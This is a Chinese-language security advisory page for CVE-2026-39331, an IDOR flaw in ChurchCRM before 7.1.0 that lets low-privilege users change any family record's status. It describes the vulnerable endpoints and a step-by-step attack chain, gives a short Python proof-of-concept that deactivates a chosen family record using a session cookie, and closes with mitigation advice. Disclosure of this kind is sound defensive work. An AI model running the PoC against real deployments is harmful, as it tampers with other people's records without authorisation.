IPBUF安全漏洞报告
English
CVE-2026-39331 CVSS 8.1 高危

CVE-2026-39331 ChurchCRM越权访问漏洞

披露日期: 2026-04-07

漏洞信息

漏洞编号
CVE-2026-39331
漏洞类型
越权漏洞
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
ChurchCRM

相关标签

越权漏洞ChurchCRMIDOR权限提升访问控制失效

漏洞概述

ChurchCRM 7.1.0之前版本存在越权漏洞。经过认证的低权限用户可绕过权限检查,通过修改请求中的familyId参数,调用特定API接口修改任意家庭记录状态。利用该漏洞,攻击者无需EditRecords权限即可激活/停用家庭记录、发送验证邮件或触发地理编码,严重影响系统完整性和可用性。

技术细节

该漏洞源于ChurchCRM在处理特定API请求时未实施严格的基于角色的访问控制(RBAC)。受影响端点包括`/family/{familyId}/verify`、`/family/{familyId}/activate/{status}`等。系统仅验证了请求者的登录状态,却未验证其对请求参数中`{familyId}`所指向资源的操作权限。攻击者只需持有有效会话,通过遍历或指定`familyId`发送POST/GET请求,即可执行越权操作。这是一种典型的不安全直接对象引用(IDOR)漏洞,导致业务逻辑被绕过,攻击者可篡改任意家庭数据的验证状态及激活状态。

攻击链分析

STEP 1
步骤1:获取凭证
攻击者注册或通过其他方式获取一个低权限的普通用户账号凭证。
STEP 2
步骤2:身份认证
攻击者使用凭证登录系统,获取有效的会话Cookie。
STEP 3
步骤3:构造恶意请求
攻击者分析API端点,将请求中的`familyId`参数替换为想要攻击的目标ID(如管理员家庭ID)。
STEP 4
步骤4:执行越权操作
向`/family/{familyId}/activate/{status}`等接口发送携带会话的请求。
STEP 5
步骤5:达成攻击效果
服务器未校验权限,直接执行操作,导致目标家庭记录被停用或状态被篡改。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit(target_base_url, session_cookie, target_family_id): """ PoC for CVE-2026-39331: Authenticated IDOR in ChurchCRM Demonstrates deactivating an arbitrary family record. """ # Target endpoint to deactivate a family url = f"{target_base_url}/family/{target_family_id}/activate/deactivate" headers = { "Cookie": f"PHPSESSID={session_cookie}", "User-Agent": "CVE-2026-39331-PoC" } try: response = requests.post(url, headers=headers) if response.status_code == 200: return f"[+] Success: Family {target_family_id} deactivated via IDOR." else: return f"[-] Failed: Server returned status code {response.status_code}" except Exception as e: return f"[!] Error: {str(e)}" # Example usage: # print(exploit("http://target-churchcrm-url", "attacker_session_id", 123))

影响范围

ChurchCRM < 7.1.0

防御指南

临时缓解措施
建议管理员在升级前,通过WAF(Web应用防火墙)限制对`/family/`相关API路径的访问,或临时禁用低权限用户的API调用权限,直至完成修复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表